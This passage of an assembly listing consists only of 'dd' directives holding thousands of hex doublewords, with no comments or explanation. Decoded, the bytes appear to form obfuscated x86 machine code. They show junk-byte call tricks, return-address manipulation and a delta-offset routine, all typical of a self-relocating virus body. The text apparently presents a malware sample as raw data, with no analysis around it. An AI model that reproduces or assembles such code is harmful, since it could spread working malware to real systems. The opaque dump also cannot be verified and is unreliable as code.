		dd 17h,	22C35343h, 60AEA514h, 0E2816656h, 8A5BBD00h, 858D61D5h
		dd 6ABD29Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	62C35242h, 6B8C89C7h, 0F1E794Fh, 686h, 3DBD2300h
		dd 0F06A82Bh, 48Ch, 83BE6600h, 5C083BCh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 4AC35141h, 8B0F6090h
		dd 2, 66606160h, 6109C2B9h, 0EE85061h, 0C6000000h, 8AF0A31Dh
		dd 65CCAA8Dh, 0CBC9E4CDh, 89905F0Fh, 0A816B5B5h, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 3B26C353h, 0CC9A6FBBh, 6AF18Bh, 38C0Fh, 0B70F0000h
		dd 4195FFF6h, 6A06A825h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 6DEBC355h, 8B292BF5h
		dd 0A82EDDB5h, 39BD0106h, 8D06A806h, 0AB8C7F9Dh, 0EE816606h
		dd 0D3FF2252h, 85FFF28Bh, 6A833F1h, 0AF19D89h, 9EE906A8h
		dd 0E8000007h, 0
		dd 0A7ED815Dh, 8906ABD2h, 0A80CF985h, 6DBD8106h, 0D006A817h
		dd 0F000007h, 11E86h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0F1080A22h, 6F4817B7h
		dd 816641C1h, 8BDDCDDFh, 0A809419Dh, 6800F06h, 31000000h
		dd 0A8333D85h, 0E38106h, 29000001h, 0A81755BDh,	0FDB0B06h
		dd 6E85h, 0E4D68100h, 8363DD4Ah, 0ABD0E9BDh, 840F0006h
		dd 1Eh,	0E9FB8B66h, 84h, 11E9h,	7680CB00h, 4C14EB85h, 7B38B29Dh
		dd 7277DEADh, 85C73333h, 6ABD0E9h, 1, 5DE95E51h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 6CE2C356h, 3521BD03h, 8B6606A8h, 0B98509F2h
		dd 0C706A820h, 0ABD0E985h, 6, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0B21E706h
		dd 0DA4C7B69h, 45EBBF66h, 9419D8Dh, 238106A8h, 0FFFFFEFFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0C1C35040h
		dd 0E9BD8B2Fh, 6606A80Ah, 0B589DB8Ch, 6A81DE9h,	0F04C3F6h
		dd 6D84h, 0FFF28B00h, 0A8068D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 20025E9Ch
		dd 11E9A0h, 88D50000h, 15606CD5h, 0F512825Ah, 226B67Ah
		dd 50D65F18h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 8EE2C355h, 47D07B1Dh
		dd 5F305159h, 3055BD8Bh, 0B1E906A8h, 8B000003h,	6600B0FAh
		dd 0E6468DBEh, 52006A70h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 55CBE75h, 8D896438h, 6A82F3Dh
		dd 816671E4h, 0F5EB9CEh, 6BAD8B6h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 9577C352h, 0A82B8E28h, 5E9F686h, 75000000h, 6BA75F2Fh
		dd 9529C38Bh, 6A805D5h,	0CE8h, 8E0D1100h, 22AFEB76h, 6C0CA63Ah
		dd 0BD9D8949h, 5E06A80Eh, 6604E8C1h, 6AE2F7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 51BCC5C3h
		dd 7DE8803Dh, 9589D90Ah, 6A816B5h, 0D8D0Fh, 66600000h
		dd 7989E081h, 304D8D89h, 2B6106A8h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C1ABA71Fh
		dd 816691E5h, 93FAB8DEh, 2880F50h, 60000000h, 8B505F61h
		dd 6A93F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 24EB35C3h, 81C07615h, 0BE74C9C6h,	0FD9D8945h
		dd 0FF06A80Dh, 0A8176DB5h, 0EE906h, 6B3A0000h, 64F7E94Dh
		dd 749DC6F9h, 743A88D4h, 0F7C4CF81h, 95FF061Ah,	6A81B31h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 33C35646h
		dd 1A7D7823h, 0B0F553C3h, 39BD8B00h, 8B06A81Fh,	0A81665B5h
		dd 0E970E606h, 5, 9CDBBEDAh, 6A71E41Bh,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 6D12C352h
		dd 899D8976h, 0F06A81Dh, 48Dh, 11BF6600h, 0F613C5Dh, 1E383h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0B296F2A3h, 3959DFA3h, 0FC9BD33h, 0B60F06A8h
		dd 53006AD8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0B815BE19h, 6BA1D02h, 66000000h,	5058E681h
		dd 0BD8BC38Bh, 6A82121h, 0E2CABF66h, 8104E8C1h,	0D2E828E7h
		dd 0E2F76650h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0E8C35040h, 0A939AB7Fh,	1659B58Bh, 0D82B06A8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 2CC35141h
		dd 0B3F74E15h, 0B58B1274h, 6A82CE5h, 2F0D8589h,	95806A8h
		dd 0A802E1B5h, 0FD82B06h, 10F88h, 7B900h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 524181C3h, 0B68BB95Ah, 5BBE66D5h, 519D89CEh,	8306A82Bh
		dd 0D93B00C1h, 0D2860Fh, 8B660000h, 0D98C66FEh,	0B4BCC781h
		dd 0F6F8635Dh, 840F04C1h, 9Ah, 3860Fh, 0BF0F0000h, 8D95FFF7h
		dd 0F06A806h, 84h, 89605B00h, 0A8306195h, 919D2906h, 6106A80Bh
		dd 870FC32Bh, 2, 343DFB8Bh, 0F000008h, 6186h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0BF6FC62Bh, 0F725B1C1h, 66CE8150h, 0E90C4662h, 9, 9E067F6h
		dd 51F573D5h, 46E9D4h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 9691ECC3h, 1EF19531h
		dd 0C08B06A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	6CC35242h, 0A13AAF93h, 0D88BC38Bh, 6830Fh, 0B58B0000h
		dd 6A819C5h, 1E4D85C7h,	0CB7B06A8h, 0BD8B156Eh,	6A82F65h
		dd 0B70FC08Bh, 6DBD81FFh, 0D006A817h, 0F000007h, 5685h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0C81B7861h, 8323EFBFh, 1840F16h,	0F5000000h
		dd 176D85FFh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0B7208FC3h, 0BAA1B2FCh, 0FFE0B491h
		dd 0A8176DB5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8117C4A7h, 57D15BE7h
		dd 95895646h, 6A806A5h,	3195FF5Fh, 0BE06A81Bh, 61348445h
		dd 0B1BD8990h, 8B06A828h, 0A819B9BDh, 21958906h, 0E906A81Bh
		dd 12h,	33562A1Ch, 5EE37C57h, 2E53E41Fh, 0F8005639h, 0F55153E2h
		dd 7F9B503h, 6A5F06A8h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0BCEDC357h,	5FA95B9h
		dd 6A4836h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0B52FABC3h, 6AF28B0Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0BEEC355h
		dd 211BD33h, 0BD8B06A8h, 6A80C89h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 19C35343h, 939D1F4Dh, 6856116Eh
		dd 51A3C781h, 13E9446Dh, 0BB000000h, 1C7007D0h,	887B356Fh
		dd 819778Bh, 1361A4B6h,	0F681B43Ch, 673FC9D3h, 0F319D29h
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 2037FBC3h, 0C64F92CFh, 9D894E1Bh,	6A80E45h
		dd 1DDD8D89h, 0BD0106A8h, 6A80AC5h, 0FFF89AE9h,	50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 82DA6C67h, 8BD22492h, 0A80DE9B5h, 0B19D8906h, 5106A815h
		dd 0BD89F08Bh, 6A80721h, 56C18B5Fh, 5EF88B66h, 4EBh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0A25966C3h, 0CC551BC3h, 42BFD5BEh, 6A02BFA6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 9D68C350h, 0FE88F876h, 0E7C01150h, 3385858Dh, 6A06A8h
		dd 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 1D7B48C3h, 81BD8B46h, 3106A831h, 0A80E398Dh,	8B669006h
		dd 0E96050F7h, 11h, 3A125976h, 0A2DFE6B6h, 0F2378D19h
		dd 317A2EA2h, 6850F5Fh,	0F000000h, 85h,	6A906100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0C080C352h, 0EE8102BCh, 6B887E81h, 9E9h, 0F215C800h
		dd 0FC57B3C8h, 6AF5D2h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 7AC35040h, 0A6855351h, 21DE8166h, 6A006A98h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0C521C351h, 651BD89h, 0B52306A8h,	6A8008Dh
		dd 7E8h, 0BF522400h, 2595528Ah,	0A3858D5Fh, 8106ABDCh
		dd 97D2B4F6h, 5C0833Ah,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 5BC35747h, 47BE90D0h,	504EF0D2h, 79BF5790h
		dd 5F209581h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F9F67C3h, 684h,	0B18D3100h, 6A06A833h
		dd 0B1BD8900h, 0FF06A809h, 0A8254195h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0ADEB7C1Fh, 59BDAECEh, 8DF28B4Fh, 0AB8C7F9Dh, 0C5BD8B06h
		dd 0FF06A81Ah, 55006AD3h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 3DAE4EDAh, 0E9194587h
		dd 8, 6F6D1505h, 10F976DCh, 33F185FFh, 6A06A8h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8B9D4DC3h, 0A81425B5h, 9D8B6006h, 6A83149h, 68B0Fh
		dd 85890000h, 6A807F1h,	1880F61h, 0FC000000h, 874E9h, 0E800h
		dd 815D0000h, 0ABDCADEDh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 2165F849h
		dd 660F8219h, 6008DF81h, 0AE8h,	899A9A00h, 35850079h, 0FB4A899h
		dd 38Bh, 0FB8B6600h, 6DBD815Fh,	0D006A817h, 0F000007h
		dd 15D86h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 7DCAE7Fh,	56BE541Ch, 8B4CFFCBh, 0A8324D9Dh
		dd 5DB58B06h, 8106A82Bh, 100E3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 5FFAC78Dh
		dd 0DA344498h, 81669CBAh, 0B2F18F6h, 8B850FDBh,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 838DC356h, 0ABDA49BDh, 840F0006h,	4Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 48C35646h, 8DA67D2Ch
		dd 0FFB9F68Eh, 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0B9F54BFEh, 2171B58Bh
		dd 85C706A8h, 6ABDA49h,	1, 82F68166h, 16E918h, 85C70000h
		dd 6ABDA49h, 0
		dd 7BA9E681h, 0B58902DAh, 6A81F81h, 324D9D8Dh, 6A06A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 1EFCC3C3h, 234DD54Bh, 19BD8BB2h, 8106A81Eh, 0FFFEFF23h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8C665158h, 50006ADBh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 8BD3B033h
		dd 0E22CB7D0h, 0B70FCC3Fh, 4C3F6F9h, 4E840Fh, 6E90000h
		dd 5D000000h, 0D04A32DDh, 8D95FF3Ch, 3106A806h,	0A801458Dh
		dd 0F609006h, 488h, 37B86600h, 168D0FE6h, 0E8000000h, 10h
		dd 0B536E8B3h, 6C9A0FDEh, 8E27739Fh, 0F5D4DFC8h, 0F506159h
		dd 88h,	0B58B9000h, 6A80521h, 3BFE9h, 85016000h, 6A82195h
		dd 0B559D29h, 0B06106A8h, 1EBE6600h, 6A70E6E9h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 1A1CC350h, 68D0Fh, 95290000h, 6A833A1h, 0C0DB503h, 71E406A8h
		dd 0FF9BF0Fh, 0BE66D8B6h, 6BA3330h, 8B000000h, 0A806C9B5h
		dd 6AC38B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0E6E4C357h, 9C02C26Dh,	0C11BE2B0h
		dd 0BE6604E8h, 0F766739Ch, 8BD82BE2h, 0A81401B5h, 0BF669306h
		dd 0E950CA76h, 12h, 0C3D68D7Eh,	0CB777D2Fh, 7DB32EADh
		dd 32AC66D3h, 0F893BA43h, 176DB5FFh, 6A06A8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 8B7B2EC3h
		dd 8C0F18h, 89000000h, 0A80C0DB5h, 158D8906h, 0FF06A806h
		dd 0A81B3195h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 2600347h, 81A95C02h, 0BFFCECE7h
		dd 6800F1Eh, 8B000000h,	0A8255DB5h, 6A00B006h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0ABA8C355h, 8B302F40h, 0A82CD5BDh, 0A1BD8B06h, 0E606A809h
		dd 6E970h, 79A50000h, 8B23F4h, 0BE6671E4h, 613C5D68h, 252830Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 48DF0CC3h, 88ED4D27h, 0FE9CFDDh, 187h, 0B60FF800h
		dd 55006AD8h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0E679C792h, 26CDB58Bh, 6BA06A8h,	8B000000h
		dd 6AC38BFEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0FDEC350h, 6E9h, 0C91A0300h, 8B554051h
		dd 0A81AC5BDh, 4E8C106h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 0B4C35040h, 662B9936h, 0D82BE2F7h, 58F7B70Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 73C35242h
		dd 0C20427D9h, 0FD82B73h, 17388h, 198B0F00h, 0E8000000h
		dd 0Dh,	6CAD7160h, 4D0EB058h, 4E830ECEh, 61BD89F5h, 5F06A82Eh
		dd 7B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0ABC20CFCh, 0C1839392h, 0DBD0300h
		dd 3B06A815h, 1D860FD9h, 81000001h, 0D020EEEFh,	55B58932h
		dd 6606A814h, 0B58BD98Ch, 6A801D1h, 0F04C1F6h, 0DE84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 40F79554h, 37539BFBh, 0F98BFB68h, 68D95FFh
		dd 0DE806A8h, 17000000h, 4E708943h, 7EBF6664h, 7E813A0Fh
		dd 27FD8D89h, 5B5E06A8h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 0E2C35040h, 0FDD3E278h, 8B1289C5h, 0A82F55BDh
		dd 8BC32B06h, 0A80D99B5h, 8343D06h, 860F0000h, 5Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E7C35545h, 0C2A84729h
		dd 880F93AFh, 5, 3FDF8166h, 1BD89D3h, 0E906A803h, 44h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B2C35343h
		dd 198529C2h, 8B06A808h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0FEBF0F7Bh, 0D88BC38Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 2AC35747h
		dd 9D890A1Ah, 6A82A4Dh,	94185C7h, 0A9DF06A8h, 0C08B7FE5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h
		dd 0E2DE5E80h, 0AF83BF09h, 0BD8101F7h, 6A8176Dh, 7D0h
		dd 36850Fh, 0DF810000h,	0AAB9B57h, 176D85FFh, 6A06A8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E9C851C3h, 8, 0F977EB7Eh, 7467BAE7h, 176DB5FFh, 6A06A8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0A8316DC3h, 0A64D569Ch, 6609BC5Dh, 5BB3DE81h, 1B3195FFh
		dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0FE1CD1C3h, 1B8BEC9Ch, 0DDB589DDh, 8106A81Dh
		dd 6704E3D6h, 0BD33905Ch, 6A832ADh, 17EDBD8Bh, 8B6606A8h
		dd 8E9F0h, 95E00000h, 820BC4EBh, 0B5239F99h, 6A80911h
		dd 21959501h, 0E96006A8h, 0Bh, 0C9A0FF60h, 0DFE6FDFh, 8B734DA5h
		dd 860F56C6h, 0
		dd 6A6158h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 2E6C1BC3h, 0D58D8B60h, 0F06A806h,	38Bh, 0F3BF0F00h
		dd 0BF0F9BB7h, 6A61FBh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0F98135C3h, 0DE9h, 0A7E3D300h, 122787EFh
		dd 8AEE0C68h, 0BF0FFCBBh, 0FB8B66F1h, 0EE9h, 67C34E00h
		dd 3DF788E7h, 22732C56h, 29849C16h, 0A80E0985h,	0D6816606h
		dd 820F6720h, 3, 6AFB8B66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 7191C357h, 0DE8738Ch
		dd 0FF000000h, 69A9BE38h, 0DDD051F9h, 0B4C2F707h, 8E853h
		dd 0B58C0000h, 0E426406Ch, 605ED9A8h, 95295F61h, 6A832B9h
		dd 6870F5Eh, 81000000h,	10B201EEh, 0F7CBE92Ch, 6AFFFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 3281A6C3h, 8942C0C6h, 66E10C31h, 7E9F98Bh, 0CB000000h
		dd 6F0CFEEh, 6DBEFA58h,	8914CA48h, 0A81EC58Dh, 89C18B06h
		dd 0A82E0D8Dh, 4EB06h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1506C350h
		dd 0E66F37E0h, 0F38BA1F6h, 3DB58B56h, 5F06A81Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 18C35747h, 0E0C92B55h
		dd 1569BD8Bh, 858D06A8h, 6A83385h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0E6C35545h,	19922928h, 30C56DDh
		dd 0A80C3DBDh, 0B1BD8B06h, 5006A834h, 9E9h, 1D137000h
		dd 37BBA32Eh, 4897660h,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0F9B5030Ah, 752DBA95h
		dd 0B58B4B1Ah, 6A80841h, 6AF78B66h, 87E6BE00h, 6A728Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 46C35040h
		dd 8D39EC4Ah, 0ABE70085h, 0AA40BF06h, 0C08347DAh, 4D853105h
		dd 9006A80Fh, 310F5250h, 38C0Fh, 8B660000h, 50585AF2h
		dd 10E990h, 81DF0000h, 0AA412929h, 0CDA16FA8h, 0C5AD80E8h
		dd 6AD479h, 33D18529h, 0B58B06A8h, 6A808E5h, 0F781006Ah
		dd 4A0498B7h, 254195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 1ADD75C3h, 2ED9BD8Bh
		dd 9D8D06A8h, 6AB8C7Fh,	6F99589h, 0D3FF06A8h, 12E8h, 5DD5DB00h
		dd 9DD427E9h, 0C9A2FCAh, 7D21E180h, 5F40D2C9h, 64D9D89h
		dd 85FF06A8h, 6A833F1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F7C35545h, 255CDEF0h, 0B67E54B4h, 418D8902h
		dd 5606A82Eh, 6810Fh, 0BD8B0000h, 6A82CCDh, 799E95Fh, 0E80000h
		dd 5D000000h, 0E70AED81h, 0B53306ABh, 6A810F1h,	176DBD81h
		dd 7D006A8h, 860F0000h,	12Ah, 919BD31h,	9D8B06A8h, 6A8259Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DDC35545h
		dd 0F5E19036h, 100E381h, 49BE0000h, 0B46EF62h, 72850FDBh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7AC1C352h, 8BAF80DAh, 0A832A5BDh
		dd 26BD8306h, 6ABE5h, 13840Fh, 89510000h, 0A80835B5h, 42E95E06h
		dd 8B000000h, 0A81AD5B5h, 2685C706h, 106ABE5h, 50000000h
		dd 6890Fh, 800F0000h, 0
		dd 685BE5Eh, 1AE92602h,	0E9000000h, 5, 36EA7E20h, 2685C787h
		dd 6ABE5h, 89000000h, 0A80AD18Dh, 9D9D8D06h, 6A06A825h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 2978C351h, 8F0F1842h, 6, 2A9BD8Bh, 12E806A8h
		dd 31000000h, 3664DE08h, 3893449h, 0EAD71302h, 4A7CF0C5h
		dd 23815F7Ah, 0FFFFFEFFh, 148B0Fh, 8E80000h, 0B6000000h
		dd 0C001864Dh, 8B2105F7h, 0A80E05B5h, 8C665F06h, 56006ADBh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0BA1B9203h, 128E0Fh,	0DE90000h, 0B0000000h, 4B12306Eh
		dd 5CBE75E9h, 0D8643805h, 0F04C3F6h, 5F84h, 95FFF800h
		dd 6A8068Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0BC35646h, 0FCC55D59h, 60525090h, 0FE85A53h, 84000000h
		dd 72D06081h, 0E138F886h, 0EDC6C929h, 615EBE93h, 585A310Fh
		dd 90FB8B50h, 0FE9h, 1611AE00h,	1F990281h, 0EC01FA09h
		dd 80ED75BEh, 3B7E9h, 8DBD0B00h, 0B006A802h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 46BDDD56h, 0D195316Ah, 0F06A81Fh, 58Ch, 0D7816600h
		dd 70E685DBh, 5E9h, 33BCDF00h, 71E4D455h, 10E9h, 33CB7D00h
		dd 7FBFED3Ah, 0CB1F4BF8h, 318F2495h, 0D8B60FDAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CC35747h, 6BA95h
		dd 0B58B0000h, 6A8250Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 6408CC3h, 0C1FAB70Fh
		dd 0B58B04E8h, 6A81DB9h, 6AE2F766h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 2B8FC350h
		dd 57006AD8h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 89B9A8C4h, 0A808E98Dh, 66509306h, 9331F1BFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F6C35242h
		dd 0D509E067h, 0CE9h, 19812F00h, 0D4437422h, 0EAA99109h
		dd 6DB5FF27h, 6A06A817h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 1327C353h, 728CBA6Ah
		dd 0FFACF80Ah, 0A81B3195h, 0CDBD8B06h, 0B006A815h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0F508EE3Ah, 6DB58B58h, 0F06A82Fh, 8BFF0B7h, 0E6453582h
		dd 0D9BD8B70h, 0E406A82Dh, 7E871h, 518B0000h, 0A1E5D192h
		dd 8DB58B6Bh, 5E06A81Fh, 830F613Ch, 1FCh, 0D810Fh, 8E90000h
		dd 0A9000000h, 0FE583A14h, 0F0CDEA0h, 0BE66D8B6h, 6BAA01Dh
		dd 8B000000h, 0A81519BDh, 6AC38B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E86AC355h
		dd 8D5C4687h, 0BF0F2CDCh, 4E8C1FEh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0B2C35545h,	3083D80Ch, 0DC147BD1h
		dd 0FA8B6625h, 31E2F766h, 0A82C719Dh, 0BFD82B06h, 7B1A9175h
		dd 0D9816058h, 0C2E8179h, 11E8h, 8D384400h, 8720FFE0h
		dd 83B6114Eh, 7A775676h, 0AE970B0h, 5C000000h, 9E000C1Ah
		dd 474CD75h, 2B615F39h,	3D880FD8h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 409CC352h, 0E6040BF6h, 0C5BD890Dh, 0B906A82Eh, 7, 0AE9h
		dd 0B2802700h, 56432EFDh, 8328EE1Ah, 6A00C1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A68A7BC3h
		dd 37C6819Ch, 661C3BA7h, 3BA362BEh, 0CD860FD9h,	8B000000h
		dd 0A81F51BDh, 0D98C6606h, 0D628BF66h, 4FA6BE66h, 0F04C1F6h
		dd 8684h, 0BD8B6000h, 6A829BDh,	8D95FF61h, 8B06A806h, 0A82AF9B5h
		dd 0BD8B5B06h, 6A80F31h, 94BEC32Bh, 3D57ECC3h, 834h, 59860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0F5ECC6C3h, 0BF2F5534h, 1A75BD89h, 0B53306A8h
		dd 6A82CA9h, 53E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1EB4D78Dh, 2FB09F33h
		dd 8BFEBF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0EC230749h, 8F0FA640h, 3,	0FCF88B66h
		dd 0D88BC38Bh, 0E8F28B66h, 14h,	68F1539Dh, 0BC7C42E5h
		dd 0AE9F63Eh, 16FD2A8Dh, 8DCA4B85h, 0F65BD89h, 0C75E06A8h
		dd 0A8324D85h, 0E19F7D06h, 57006A72h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 4181C7AAh
		dd 29B95A52h, 0A80779B5h, 0F28B6606h, 15BEC08Bh, 6659639Ah
		dd 0BD81F88Bh, 6A8176Dh, 7D0h, 3F850Fh,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0CB823DC3h, 0CBF50D4Eh, 0AE9F9ABh, 4B000000h, 0EBFBF09Ah
